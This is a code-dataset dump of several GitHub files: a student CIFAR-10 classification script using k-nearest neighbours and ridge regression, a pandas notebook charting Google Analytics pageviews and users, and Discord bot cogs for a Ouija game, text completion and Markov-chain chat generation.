reading in the \"pickled\" object images\ndef unpickle(file):\n import pickle\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\n# Preprocessing- convert to greyscale\ndef rgb2gray(im):\n col_size = len(im[:,0])\n im_out = np.empty([col_size,1024])\n \n for i in range(0,col_size):\n for j in range(0,1024):\n r = im[i,j] \n g = im[i,j+1024]\n b = im[i,j+2048]\n im_out[i,j] = (0.299 * r + 0.587 * g + 0.114 * b)\n \n return im_out\n\n# Read in the datasets 5 training batches and 1 test batch, each has 10,000 images\ndata_batch_1 = unpickle('cifar-10-batches-py/data_batch_1')\ndata_batch_2 = unpickle('cifar-10-batches-py/data_batch_2')\ndata_batch_3 = unpickle('cifar-10-batches-py/data_batch_3')\ndata_batch_4 = unpickle('cifar-10-batches-py/data_batch_4')\ndata_batch_5 = unpickle('cifar-10-batches-py/data_batch_5')\ndata_batch_6 = unpickle('cifar-10-batches-py/test_batch')\n\n# Each data_batch is a dictionary with the following items\n# b'batch_label --> specifies which batch it is\n# b'labels --> array of 10,000 labels 0-9 correspoding to the correct classification\n# b'data --> 10,000 x 3072 array of uint8 pixels, each rows is a 32x32 image with the first 1024 entries being the red,\n# the second 1024 entries being the green, and the last 1024 entries being the blue\n\ndb1_labels = data_batch_1[b'labels']\ndb1_data = data_batch_1[b'data']\ndb2_labels = data_batch_2[b'labels']\ndb2_data = data_batch_2[b'data']\ndb3_labels = data_batch_3[b'labels']\ndb3_data = data_batch_3[b'data']\ndb4_labels = data_batch_4[b'labels']\ndb4_data = data_batch_4[b'data']\ndb5_labels = data_batch_5[b'labels']\ndb5_data = data_batch_5[b'data']\ndb6_labels = data_batch_6[b'labels']\ndb6_data = data_batch_6[b'data']\n\n\ndb1_data = rgb2gray(db1_data)\ndb2_data = rgb2gray(db2_data)\ndb3_data = rgb2gray(db3_data)\ndb4_data = rgb2gray(db4_data)\ndb5_data = rgb2gray(db5_data)\ndb6_data = rgb2gray(db6_data)\n\nA = np.vstack((db1_data, db2_data, db3_data, db4_data, db5_data)) #Training matrix\nd = np.column_stack((np.array(db1_labels), np.array(db2_labels), np.array(db3_labels), np.array(db4_labels), np.array(db5_labels))).reshape(50000,1) #Known classifiers\nT = db6_data\ny = db6_labels\n\ntrain_size = len(A[:,0])\ntest_size = len(T[:,0])\n\nks = [1,5,10,20,45,70,100]\ntraining_errors = np.zeros(len(ks))\ntraining_sqs = np.zeros(len(ks))\n\nfor idx in range(0,len(ks)):\n print(ks[idx])\n\n # Uses l2 norm\n knn = KNeighborsClassifier(n_neighbors=ks[idx],algorithm='ball_tree',p=2)\n \n # Uses l1 norm\n # knn = KNeighborsClassifier(n_neighbors=3,algorithm='kd_tree',p=1)\n \n knn.fit(A, d)\n\n error_count = 0\n labels = np.zeros(test_size)\n\n for i in range(0,test_size):\n test = T[i,:].reshape((1,-1))\n y_hat = knn.predict(test)\n labels[i] = y_hat\n # y_hat = knn.predict(T[i,:])\n\n if y_hat != y[i]:\n error_count += 1\n\n error_rate = error_count / test_size\n training_errors[idx] = error_rate\n \n squared_error = np.linalg.norm(labels - y)**2\n training_sqs[idx] = squared_error\n\n# for i in range(0,20):\n# print(labels[i])\n\n# Determine which k gave the lowest error rates\nmin_idx = 0\nmin_error = 50000\n\nfor i in range(0,len(ks)):\n if training_errors[i] < min_error:\n min_idx = i\n min_error = training_errors[i] \n \nerror_rate = training_errors[min_idx]\nmse = training_sqs[min_idx] / test_size\n \nprint(\"Optimal Lambda Chosen: \" + str(ks[min_idx]))\nprint()\n\nprint(\"Error Rate: \" + str(round(error_rate*100,3)) + \", Mean Sqaured Error: \" + str(round(mse,3)))\nprint()\n\nnow = datetime.now()\ncurrent_time = now.strftime(\"%H:%M:%S\")\nprint(\"Current Time =\", current_time)\nprint()\nprint()" }, { "alpha_fraction": 0.47624775767326355, "alphanum_fraction": 0.5361796021461487, "avg_line_length": 37.373077392578125, "blob_id": "95313740c8abf4747456fc703d569dccff78d353", "content_id": "f66dd9dfc6ec637d7c3c7f8916312d90c09b6116", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9978, "license_type": "no_license", "max_line_length": 119, "num_lines": 260, "path": "/DEV/rr.py", "repo_name": "tlieb21/ECE532_FinalProj", "src_encoding": "UTF-8", "text": "###################################################################################################\n#\n# ECE 532 Final Project Fall 2020\n# Timothy Lieb [email protected]\n#\n\nimport numpy as np\nimport statistics \n\n# Method for reading in the \"pickled\" object images\ndef unpickle(file):\n import pickle\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\n# Method for preprocessing the data\ndef preprocess(row_entry, label):\n transform1 = row_entry.reshape((3,32,32))\n transform2 = np.transpose(transform1, [1,2,0])\n return transform2\n\n# Read in the datasets 5 training batches and 1 test batch, each has 10,000 images\ndata_batch_1 = unpickle('cifar-10-batches-py/data_batch_1')\ndata_batch_2 = unpickle('cifar-10-batches-py/data_batch_2')\ndata_batch_3 = unpickle('cifar-10-batches-py/data_batch_3')\ndata_batch_4 = unpickle('cifar-10-batches-py/data_batch_4')\ndata_batch_5 = unpickle('cifar-10-batches-py/data_batch_5')\ntest_batch = unpickle('cifar-10-batches-py/test_batch')\n\n# Each data_batch is a dictionary with the following items\n# b'batch_label --> specifies which batch it is\n# b'labels --> array of 10,000 labels 0-9 correspoding to the correct classification\n# b'data --> 10,000 x 3072 array of uint8 pixels, each rows is a 32x32 image with the first 1024 entries being the red,\n# the second 1024 entries being the green, and the last 1024 entries being the blue\n\ndb1_labels = data_batch_1[b'labels']\ndb1_data = data_batch_1[b'data']\ndb2_labels = data_batch_2[b'labels']\ndb2_data = data_batch_2[b'data']\ndb3_labels = data_batch_3[b'labels']\ndb3_data = data_batch_3[b'data']\ndb4_labels = data_batch_4[b'labels']\ndb4_data = data_batch_4[b'data']\ndb5_labels = data_batch_5[b'labels']\ndb5_data = data_batch_5[b'data']\ndb6_labels = test_batch[b'labels']\ndb6_data = test_batch[b'data']\n# tb_labels = test_batch[b'labels']\n# tb_data = test_batch[b'data']\n\nprint(len(db1_data[0,:])) # --> first row\nprint(len(db1_data[:,0])) # -->first column\n\n\n###################################################################################################\n#\n# Ridge Regression\n#\ndef ridge_regression(A1, A2, A3, A4, A5, d1, d2, d3, d4, d5, T1, T2, y1, y2, lambdas):\n print(\"Running Ridge Regression\")\n A = np.vstack((A1, A2, A3, A4, A5)) #Training matrix\n d = np.vstack((d1, d2, d3, d4, d5)) #Known classifiers\n\n print(len(A[:,0]))\n print(len(A[0,:]))\n\n num_iterations = len(lambdas)\n training_errors = np.zeros(num_iterations)\n\n # Perform the training over all the different lambdas\n for lam in range(0, num_iterations):\n print(\"Using lambda = \" + str(lambdas[lam]))\n w = np.linalg.inv(A.T @ A + lambdas[lam] * np.identity(len(A[0,:]))) @ A.T @ d\n\n # Find the predictions for the first test set\n t_hat = T1 @ w\n error_count = 0\n\n # Record the number of errors\n for i in range(0, len(t_hat)):\n if t_hat[i] != y1[i]:\n error_count += 1\n \n training_errors[lam] = error_count\n \n # Determine which lambda gave the lowest error rates\n min_idx = 0\n min_error = 50000\n\n for i in range(0,num_iterations):\n if training_errors[i] < min_error:\n min_idx = i\n min_error = training_errors[i]\n \n\n # Use the selected lambda with the rest of the training data to get w\n lam = lambdas[min_idx]\n\n w = np.linalg.inv(A.T @ A + lam * np.identity(len(A[0,:]))) @ A.T @ d\n\n # Find the predictions for the second test set\n y_hat = T2 @ w\n error_count = 0\n\n # Record the number of errors\n for i in range(0, len(y_hat)):\n if y_hat[i] != y2[i]:\n error_count += 1\n\n # Calculate the errors and return them\n error_rate = error_count / len(y2)\n squared_error = np.linalg.norm(y_hat - y2)**2\n\n return ([error_rate, squared_error])\n\n\n\n###################################################################################################\n#\n# K-Nearest Neighbors\n#\ndef k_nearest_neighbors(A1, A2, A3, A4, A5, d1, d2, d3, d4, d5, T, y1, k):\n A = np.vstack((A1, A2, A3, A4, A5)) #Training matrix\n d = np.vstack((d1, d2, d3, d4, d5)) #Known classifiers\n distances = np.empty((num_test, num_train))\n\n train_size = len(A[:,0])\n test_size = len(T1[:,0])\n \n for i in range(0, test_size):\n for j in range(0, train_size):\n # curr_A = A[i,:]\n # curr_T = T1[j,:]\n # distance = distance_fn(curr_A, curr_T)\n # distances[j].append((distance, i))\n distances[i,j] = np.linalg.norm(A[j,:]-T[i,:])\n\n distances = np.sqrt((T**2).sum(axis=1)[:, np.newaxis] + (A**2).sum(axis=1) - 2 * T.dot(A.T))\n # distances = np.sqrt((T**2).sum(axis=1)[:, np.newaxis] + (self.A**2).sum(axis=1) - 2 * T.dot(self.A.T))\n\n\n sort_distances = []\n for j in range(0, test_size):\n sort_distances[j] = sorted(distances[j])\n\n k_nearest = []\n for j in range(0, test_size):\n k_nearest[j] = sort_distances[j,:k]\n \n k_labels = []\n for j in range(0, test_size)\n for dist, i in k_nearest[j]:\n k_labels[j].append(d[i])\n\n labels = []\n for j in range(0, len(T1[:,0]))\n labels[j] = statistics.mode(k_labels[j])\n\n #TODO: check the labels to find the error rate, squared error\n\n return labels\n\n\n\n\n###################################################################################################\n#\n# Neural Networks\n#\n\n\n# Logarithmic spaced lambdas\n# TODO: how to determine the span of these?\n# lambdas = np.logspace(-6,np.log(20))\nlambdas = [0,0.25,0.5,0.75,1,2,4]\n\n\n\n# T1 = db1_data[0:5000,:]\n# T2 = db1_data[5000:10000,:]\n# y1 = db1_labels[0:5000]\n# y1 = db1_labels[5000:10000]\n[error_rate1, squared_error1] = ridge_regression(db2_data, db3_data, db4_data, db5_data, db6_data, \n db2_labels, db3_labels, db4_labels, db5_labels, db6_labels, \n db1_data[0:5000,:], db1_data[5000:10000,:], db1_labels[0:5000], \n db1_labels[5000:10000], lambdas)\nprint(\"Ridge Regression Iteration 1\")\nprint(\"Error Rate: \" + str(round(error_rate1*100,3)) + \", Sqaured Error: \" + str(round(squared_error1,3)))\nprint()\n\n[error_rate2, squared_error2] = ridge_regression(db1_data, db3_data, db4_data, db5_data, db6_data, \n db1_labels, db3_labels, db4_labels, db5_labels, db6_labels, \n db2_data[0:5000,:], db2_data[5000:10000,:], db2_labels[0:5000], \n db2_labels[5000:10000], lambdas)\nprint(\"Ridge Regression Iteration 2\")\nprint(\"Error Rate: \" + str(round(error_rate2*100,3)) + \", Sqaured Error: \" + str(round(squared_error2,3)))\nprint()\n\n[error_rate3, squared_error3] = ridge_regression(db1_data, db2_data, db4_data, db5_data, db6_data, \n db1_labels, db2_labels, db4_labels, db5_labels, db6_labels, \n db3_data[0:5000,:], db3_data[5000:10000,:], db3_labels[0:5000], \n db3_labels[5000:10000], lambdas)\nprint(\"Ridge Regression Iteration 3\")\nprint(\"Error Rate: \" + str(round(error_rate3*100,3)) + \", Sqaured Error: \" + str(round(squared_error3,3)))\nprint()\n\n[error_rate4, squared_error4] = ridge_regression(db1_data, db2_data, db3_data, db5_data, db6_data, \n db1_labels, db2_labels, db3_labels, db5_labels, db6_labels, \n db4_data[0:5000,:], db4_data[5000:10000,:], db4_labels[0:5000], \n db4_labels[5000:10000], lambdas)\nprint(\"Ridge Regression Iteration 4\")\nprint(\"Error Rate: \" + str(round(error_rate4*100,3)) + \", Sqaured Error: \" + str(round(squared_error4,3)))\nprint()\n\n[error_rate5, squared_error5] = ridge_regression(db1_data, db2_data, db3_data, db4_data, db6_data, \n db1_labels, db2_labels, db3_labels, db4_labels, db6_labels, \n db5_data[0:5000,:], db5_data[5000:10000,:], db5_labels[0:5000], \n db5_labels[5000:10000], lambdas)\nprint(\"Ridge Regression Iteration 5\")\nprint(\"Error Rate: \" + str(round(error_rate5*100,3)) + \", Sqaured Error: \" + str(round(squared_error5,3)))\nprint()\n\n[error_rate6, squared_error6] = ridge_regression(db1_data, db2_data, db3_data, db4_data, db5_data, \n db1_labels, db2_labels, db3_labels, db4_labels, db5_labels, \n db6_data[0:5000,:], db6_data[5000:10000,:], db6_labels[0:5000], \n db6_labels[5000:10000], lambdas)\nprint(\"Ridge Regression Iteration 6\")\nprint(\"Error Rate: \" + str(round(error_rate6*100,3)) + \", Sqaured Error: \" + str(round(squared_error6,3)))\nprint()\n\n# Aset = [db1_data, db2_data, db3_data, db4_data, db5_data, db6_data]\n# yset = [db1_labels, db2_labels, db3_labels, db4_labels, db5_labels, db6_labels]\n\n# # Looping over the samples\n# for i in range(0,6):\n# A1 = None\n# A2 = None\n# A3 = None\n# A4 = None\n# A5 = None\n \n# for j in range(0,6):\n# if i == j:\n\n# elif i != j and l != j and T1 is None:\n# A1 = Xset[l]\n# d1 = yset[l]\n# elif l != i and l != j and T2 is None:\n# A2 = Xset[l]\n# d2 = yset[l]\n# elif l != i and l != j and T3 is None:\n# A3 = Xset[l]\n# d3 = yset[l]\n# elif l != i and l != j and T4 is None:\n# A4 = Xset[l]\n# d4 = yset[l]\n# elif l != i and l != j and T5 is None:\n# a5 = Xset[l]\n# d5 = yset[l]\n\n" } ]
5
gpadolina/pythonAndGoogleAnalyticsChallenge
https://github.com/gpadolina/pythonAndGoogleAnalyticsChallenge
a82b39e107a3dc7cff30c89ef9897a83489cd16a
7661f8a18d31a446ad4a3b875deb9ac44dc34171
c035eda5e4e5a75d0f8cb8555c20da0397a5e67a
refs/heads/master
2021-03-24T21:42:12.296031
2020-04-12T20:37:43
2020-04-12T20:37:43
247,566,967
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5652770400047302, "alphanum_fraction": 0.6379594206809998, "avg_line_length": 22.07594871520996, "blob_id": "25fbcd3d0745121f108011cfc5b32612c3bc4704", "content_id": "524f6b2522ed724a10d03b8dbc3ae2019aebb857", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3646, "license_type": "no_license", "max_line_length": 148, "num_lines": 158, "path": "/README.md", "repo_name": "gpadolina/pythonAndGoogleAnalyticsChallenge", "src_encoding": "UTF-8", "text": "# Python and Google Analytics Challenge\n\n### Data Analyst - Challenge\n\nFor the challenge, use the Google Analytics Demo Account, Master View.\n\nExercise:\n 1. Create one geolocation segment that combines traffic originating from either RI or NY.\n 2. Export January 2019 users and pageviews by day for the segment to a csv file.\n 3. Use Python to read the csv file and create the following charts:\n \n a. Pageviews by week for the segment\n \n b. Pageviews/user by day for the segment\n \nRequirements:\n 1. All code must be written in Python and must be in a Jupyter notebook\n 2. Charts must be embedded in the Jupyter notebook\n\n```\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n%matplotlib inline\nplt.style.use('classic')\n```\n\n```\npageviews = pd.read_csv(\"/Users/--/Deskptop/January 2019 pageviews.csv\", skiprows=5, sep=',', \n thousands=',', nrows=31)\n```\n\n```\npageviews.head()\n```\n\n| | Day Index | Pageviews |\n| --- | --- | --- |\n| 0 | 1/1/19 | 229 |\n| 1 | 1/2/19 | 521 |\n| 2 | 1/3/19 | 467 |\n| 3 | 1/4/19 | 572 |\n| 4 | 1/5/19 | 426 |\n\n```\npageviews.info()\n\n<class 'pandas.core.frame.DataFrame'>\nRangeIndex: 31 entries, 0 to 30\nData columns (total 2 columns):\nDay Index 31 non-null object\nPageviews 31 non-null int64\ndtypes: int64(1), object(1)\nmemory usage: 576.0+ bytes\n```\n\n```\npageviews['Day Index'] = pd.to_datetime(pageviews['Day Index'])\n```\n\n```\npageviews.info()\n\n<class 'pandas.core.frame.DataFrame'>\nRangeIndex: 31 entries, 0 to 30\nData columns (total 2 columns):\nDay Index 31 non-null datetime64[ns]\nPageviews 31 non-null int64\ndtypes: datetime64[ns](1), int64(1)\nmemory usage: 576.0 bytes\n```\n\n```\nnew_pageviews = pageviews.groupby([\n pd.Grouper(key='Day Index',\n freq='W-MON')])['Pageviews'].sum().reset_index().sort_values('Day Index')\n```\n\n```\nnew_pageviews\n```\n\n| | Day Index | Pageviews |\n| --- | --- | --- |\n| 0 | 2019-01-07 | 3431 |\n| 1 | 2019-01-14 | 4676 |\n| 2 | 2019-01-21 | 3240 |\n| 3 | 2019-01-28 | 4109 |\n| 4 | 2019-02-04 | 2355 |\n\n```\nnew_pageviews.plot(x='Day Index', y='Pageviews', figsize=(15,8),\n title=\"Pageviews by week\", legend=False)\nplt.xlabel('Week')\nplt.ylabel('Day Index')\n\nplt.savefig('Pageviews by week.jpg')\n```\n\n![Pageviews by week](https://github.com/gpadolina/pythonAndGoogleAnalyticsChallenge/blob/master/files/Pageviews%20by%20week.jpg)\n\n```\nusers = pd.read_csv(\"/Users/--/Desktop/January 2019 users.csv\", skiprows=5, sep=',',\n thousands=',', nrows=31)\n```\n\n```\nusers.head()\n```\n\n| | Day index | Users |\n| --- | --- | --- |\n| 0 | 1/1/19 | 38 |\n| 1 | 1/2/19 | 98 |\n| 2 | 1/3/19 | 82 |\n| 3 | 1/4/19 | 88 |\n| 4 | 1/5/19 | 50 |\n\n ```\n users.info()\n \n <class 'pandas.core.frame.DataFrame'>\nRangeIndex: 31 entries, 0 to 30\nData columns (total 2 columns):\nDay Index 31 non-null object\nUsers 31 non-null int64\ndtypes: int64(1), object(1)\nmemory usage: 576.0+ bytes\n```\n\n```\nusers['Day Index'] = pd.to_datetime(users['Day Index'])\n```\n\n```\nusers.info()\n\n<class 'pandas.core.frame.DataFrame'>\nRangeIndex: 31 entries, 0 to 30\nData columns (total 2 columns):\nDay Index 31 non-null datetime64[ns]\nUsers 31 non-null int64\ndtypes: datetime64[ns](1), int64(1)\nmemory usage: 576.0 bytes\n```\n\n```\nusers.plot(figsize=(15,8),\n x='Day Index',\n y='Users',\n title='Users by day')\nplt.ylabel('Number of pageviews/users')\nplt.xlabel('Date')\n\nplt.savefig(\"Pageviews/users per day.jpg\")\n```\n\n![Image of Pageviews/users per day](https://github.com/gpadolina/pythonAndGoogleAnalyticsChallenge/blob/master/files/Pageviews:users%20by%20day.jpg)\n" }, { "alpha_fraction": 0.5729764103889465, "alphanum_fraction": 0.5895474553108215, "avg_line_length": 23.13846206665039, "blob_id": "ec9e161af87c34b4bd3fc9a363c5fe17049530f5", "content_id": "48abdd69cd25fd06fc3de7397682ddd5adf4d6c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1569, "license_type": "no_license", "max_line_length": 86, "num_lines": 65, "path": "/files/challenge.py", "repo_name": "gpadolina/pythonAndGoogleAnalyticsChallenge", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n%matplotlib inline\nplt.style.use('classic')\n\npageviews = pd.read_csv(\"/Users/--/Desktop/January 2019 pageviews.csv\",\n skiprows=5, sep=',', thousands=',', nrows=31)\n\npageviews.head()\n\npageviews.info()\n\npageviews['Day Index'] = pd.to_datetime(pageviews['Day Index'])\npageviews.info()\n\nnew_pageviews = pageviews.groupby([\n pd.Grouper(key='Day Index',\n freq='W-MON')])['Pageviews'].sum().reset_index().sort_values('Day Index')\nnew_pageviews\n\nnew_pageviews.plot(kind='barh',\n x='Day Index',\n y='Pageviews',\n figsize=(15, 8),\n title='Pageviews by week',\n legend=False)\nplt.xlabel('Pageviews')\nplt.ylabel('Day Index')\nplt.xticks(rotation=70)\n\nplt.savefig('pageviews.png')\n\npageviews.plot(figsize=(15, 8),\n x='Day Index',\n y='Pageviews',\n title='Pageviews by day',\n legend=False)\nplt.ylabel('Pageviews')\nplt.xlabel('Day Index')\nplt.grid(True)\n\nplt.savefig('pageviews2.png')\n\nusers = pd.read_csv(\"/Users/--/Desktop/January 2019 users.csv\",\n skiprows=5, sep=',', thousands=',', nrows=31)\n\nusers.head()\n\nusers.info()\n\nusers['Day Index'] = pd.to_datetime(users['Day Index'])\n\nusers.info()\n\nusers.plot(figsize=(15, 8),\n x='Day Index',\n y='Users',\n title='Users by day',\n legend=False)\nplt.ylabel('Users')\nplt.xlabel('Day Index')\nplt.grid(True)\n\nplt.savefig('users.png')\n" } ]
2
TheAwesomeWizard13597/HackCMU2021
https://github.com/TheAwesomeWizard13597/HackCMU2021
19db047507fa32d8e685d2db5fc719dcccd0f17e
e0169c8131dfa3450e89b38022d5a40b3002e775
ad117745e3490a6fc4905a9a0d7f09e71bb89fa9
refs/heads/main
2023-08-25T20:31:39.911183
2021-10-02T21:52:38
2021-10-02T21:52:38
412,643,633
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6261682510375977, "alphanum_fraction": 0.6355140209197998, "avg_line_length": 20.46666717529297, "blob_id": "fc1e46d3f53019915d1d61a15cf01077f937ec5d", "content_id": "b0c129fe8648dd6bb7fbc437bb9981e555d593c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 321, "license_type": "no_license", "max_line_length": 35, "num_lines": 15, "path": "/catgirl.py", "repo_name": "TheAwesomeWizard13597/HackCMU2021", "src_encoding": "UTF-8", "text": "import discord\nfrom discord.ext import commands\nimport random\n\nclass Catgirl(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def catgirl(self, ctx):\n num = random.randint(0, 50)\n await ctx.send(\"nya\" * num)\n\ndef setup(bot):\n bot.add_cog(Catgirl(bot))" }, { "alpha_fraction": 0.5323969125747681, "alphanum_fraction": 0.5346624255180359, "avg_line_length": 31.439393997192383, "blob_id": "011a35ce86b95ba65565566db3039bd957a60f21", "content_id": "40c5db022f11b9294d434ec92f5a79470a391482", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2207, "license_type": "no_license", "max_line_length": 83, "num_lines": 66, "path": "/ouijaCog.py", "repo_name": "TheAwesomeWizard13597/HackCMU2021", "src_encoding": "UTF-8", "text": "import discord\r\nimport asyncio\r\nimport os\r\nfrom discord.ext import commands\r\n\r\n\r\n##Coded by Ryan Bao\r\nclass Ouija(commands.Cog):\r\n\r\n def __init__(self, bot):\r\n self.bot = bot\r\n self.ouijaInput = False\r\n self.ouijaAnswer = \"\"\r\n self.ouijaRecord = {}\r\n self.ouijaQuestion = \"\"\r\n\r\n with open(r'dictionary.txt') as f:\r\n self.linesRaw = f.readlines()\r\n self.lines = []\r\n for line in self.linesRaw:\r\n if not(len(line) == 1 and line not in ['a', 'i']):\r\n\r\n line = line.strip()\r\n line = line.lower()\r\n self.lines.append(line)\r\n print(self.lines)\r\n\r\n\r\n \r\n @commands.command()\r\n async def ouijaAsk(self, ctx, *args):\r\n if not self.ouijaInput:\r\n self.ouijaInput = True\r\n self.ouijaQuestion = ' '.join(args)\r\n await ctx.channel.send(f'Ask active, Question: {self.ouijaQuestion}')\r\n\r\n @commands.Cog.listener()\r\n async def on_message(self, message):\r\n await self.bot.process_commands(message)\r\n if self.ouijaInput:\r\n print('here!')\r\n if self.ouijaInput and len(message.content) == 1:\r\n self.ouijaAnswer += message.content\r\n print(self.ouijaAnswer.upper())\r\n\r\n if self.ouijaAnswer.lower() in self.lines:\r\n print(self.ouijaAnswer.lower() in self.lines)\r\n channel = message.channel\r\n await channel.send(f\"Ouija says {self.ouijaAnswer}\")\r\n self.ouijaRecord[self.ouijaQuestion] = self.ouijaAnswer\r\n self.ouijaInput = False\r\n self.ouijaAnswer = ''\r\n if len(self.ouijaAnswer) > 10:\r\n print('here2')\r\n await channel.send(f\"Ouija says {self.ouijaAnswer}\")\r\n self.ouijaInput = False\r\n self.ouijaAnswer = ''\r\n\r\n @commands.command()\r\n async def listQuestions(ctx):\r\n channel = ctx.channel\r\n for key in self.ouijaRecord:\r\n await channel.send(f'Question: {key}, Answer: {self.ouijaRecord[key]}')\r\n \r\ndef setup(bot):\r\n bot.add_cog(Ouija(bot))\r\n" }, { "alpha_fraction": 0.7332293391227722, "alphanum_fraction": 0.7332293391227722, "avg_line_length": 25.70833396911621, "blob_id": "4d038f6fd23f82784816e5a2f24e10760f13a3d9", "content_id": "e9717d9f6b9df9e1efa434ae0cf53ba0a05f1fc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 641, "license_type": "no_license", "max_line_length": 100, "num_lines": 24, "path": "/test_bot.py", "repo_name": "TheAwesomeWizard13597/HackCMU2021", "src_encoding": "UTF-8", "text": "# test_bot.py\n\nimport discord\nfrom discord_slash import SlashCommand # Importing the newly installed library.\nfrom discord.ext import commands\n\nTOKEN = \"TOKEN\"\n\nintents = discord.Intents.all()\nintents.members = True # Subscribe to the privileged members intent.\nbot_var = commands.Bot(command_prefix='-',case_insensitive=True, intents=intents, help_command=None)\nslash_var = SlashCommand(bot_var, sync_commands=True, sync_on_cog_reload = True)\n\ncogs = ['ouijaCog.py', 'catgirl.py', 'complete.py']\n\nfor cog in cogs:\n print(cog)\n bot_var.load_extension(cog)\n\n@bot_var.event\nasync def on_ready():\n print(\"Ready!\")\n\nbot_var.run(TOKEN)\n" }, { "alpha_fraction": 0.6439215540885925, "alphanum_fraction": 0.6596078276634216, "avg_line_length": 27.33333396911621, "blob_id": "51183d999a58314ad0ee35ca0f5565fd4867e572", "content_id": "f27a3e60ef921edbfb7f06500c7ccf7f350a3c75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1275, "license_type": "no_license", "max_line_length": 79, "num_lines": 45, "path": "/complete.py", "repo_name": "TheAwesomeWizard13597/HackCMU2021", "src_encoding": "UTF-8", "text": "import json\nimport requests\nimport discord\nfrom discord_slash import cog_ext # Importing the newly installed library.\nfrom discord_slash.context import SlashContext\nfrom discord.ext import commands\nfrom discord_slash.utils.manage_commands import create_option\nfrom discord_slash.context import MenuContext\nfrom discord_slash.model import ContextMenuType\n\ndef generate(prompt):\n url = \"https://bellard.org/textsynth/api/v1/engines/gpt2_1558M/completions\"\n # prompt = f\"I've been thinking\"\n payload = json.dumps({\n \"prompt\": prompt,\n \"temperature\": 1,\n \"top_k\": 40,\n \"top_p\": 0.9,\n \"seed\": 0,\n \"stream\": False\n })\n \n headers = {'Content-Type': 'application/json'}\n\n response = requests.request(\"POST\", url, headers=headers, data=payload)\n\n y = json.loads(response.text)\n print(y)\n return (prompt + y['text'])\n\nclass HComplete(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n \n @commands.command(name=\"complete\")\n async def _testgenerate(self, ctx):\n if '213' in ctx.message.content:\n await ctx.send('DO NOT TYPE 213 INTO $COMPLETE')\n return\n await ctx.send(generate(ctx.message.content[10:]))\n\n \n \ndef setup(bot):\n bot.add_cog(HComplete(bot))\n" }, { "alpha_fraction": 0.6866537928581238, "alphanum_fraction": 0.6866537928581238, "avg_line_length": 33.53333282470703, "blob_id": "f2aaaf2327916b3e1ad7e987e44684013bbb49e3", "content_id": "4a2dfbb8ea50e8abec59ab1af4465ef5c6482cd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 517, "license_type": "no_license", "max_line_length": 153, "num_lines": 15, "path": "/Buttons.py", "repo_name": "TheAwesomeWizard13597/HackCMU2021", "src_encoding": "UTF-8", "text": "import discord\nimport discord_slash\nfrom discord.ext import commands\n\nclass Buttons(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def button(self, ctx):\n await ctx.send(\"My Message\", components=[create_actionrow(create_button(style=ButtonStyle.green, label=\"A Green Button\", custom_id = \"button\"))])\n\n @slash.component_callback()\n async def button(ctx: ComponentContext):\n await ctx.send(\"im so bored and i love sml smh smh smh\", tts = True)" }, { "alpha_fraction": 0.5001624822616577, "alphanum_fraction": 0.5082873106002808, "avg_line_length": 23.0390625, "blob_id": "f8af4127ecf3d7dcefd3fdeebb3d3a08ba5975ef", "content_id": "f0e17a4abfa7be39c62df6662cdc20f55d5b9bd4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3077, "license_type": "no_license", "max_line_length": 86, "num_lines": 128, "path": "/markovCog.py", "repo_name": "TheAwesomeWizard13597/HackCMU2021", "src_encoding": "UTF-8", "text": "#import discord\n#from discord.ext import commands\n\nimport csv\nimport os.path\nimport random\n\nSTART_CONST = \"((START))\"\nEND_CONST = \"((END))\"\n\ndata = {}\n\ndef filterEmotes(string):\n filterIt = [\"<:\", \"<@\"]\n if filterIt in string:\n return false\n else:\n return true\n\ndef getCSVList(filename):\n rows = []\n with open(filename, 'r') as file:\n csvread = csv.reader(file)\n header = next(csvread)\n for row in csvread:\n #filterIt = [\"<:\", \"<@\"]\n if(len(row) >= 3):\n if (\"<:\" in row[2] or \"<@\" in row[2]):\n continue\n else:\n rows.append(row[2])\n\n # if rows.__len__() < n:\n # rows = rows[:n]\n # print(header)\n # print(rows)\n return rows\n\n\n#def readSentences(filename, n):\n# \n# with open(filename, \"r\") as file:\n# arr = file.read().splitlines()\n# arr = list(filter(lambda a: a.__len__() > 25, arr))\n# if arr.__len__() < n:\n# arr = arr[:n]\n\n #return arr\n\ndef readSentences(filename, n):\n with open(filename, \"r\") as file:\n arr = file.read().splitlines()\n arr = list(filter(lambda a: a.__len__() > 25, arr))\n if arr.__len__() < n:\n arr = arr[:n]\n print(arr)\n return arr\n\ndef decapFirstLet(str):\n if(str.__len__() > 1):\n return str[0].lower() + str[1:]\n else:\n return \" \"\n\ndef capFirstLet(str):\n return str[0].upper() + str[1:]\n\n\n\ndef add(sentence):\n data[START_CONST] = {}\n for word in sentence.split(\" \"):\n if word not in data:\n data[word] = {}\n\n last = START_CONST\n for word in sentence.split(\" \"):\n if word not in data[last]:\n data[last][word] = 0\n if last == START_CONST and word == END_CONST:\n pass\n elif word.__len__() < 1 or last.__len__() < 1:\n continue\n else:\n data[last][word] = data[last][word] + 1\n last = word\n \n if END_CONST not in data[last]:\n data[last][END_CONST] = 0\n data[last][END_CONST] = data[last][END_CONST] + 1\n\n\ndef generate():\n word = START_CONST\n words = []\n while word != END_CONST:\n weightArr = []\n for x in data[word]:\n for i in range(data[word][x]):\n weightArr.append(x)\n\n word = 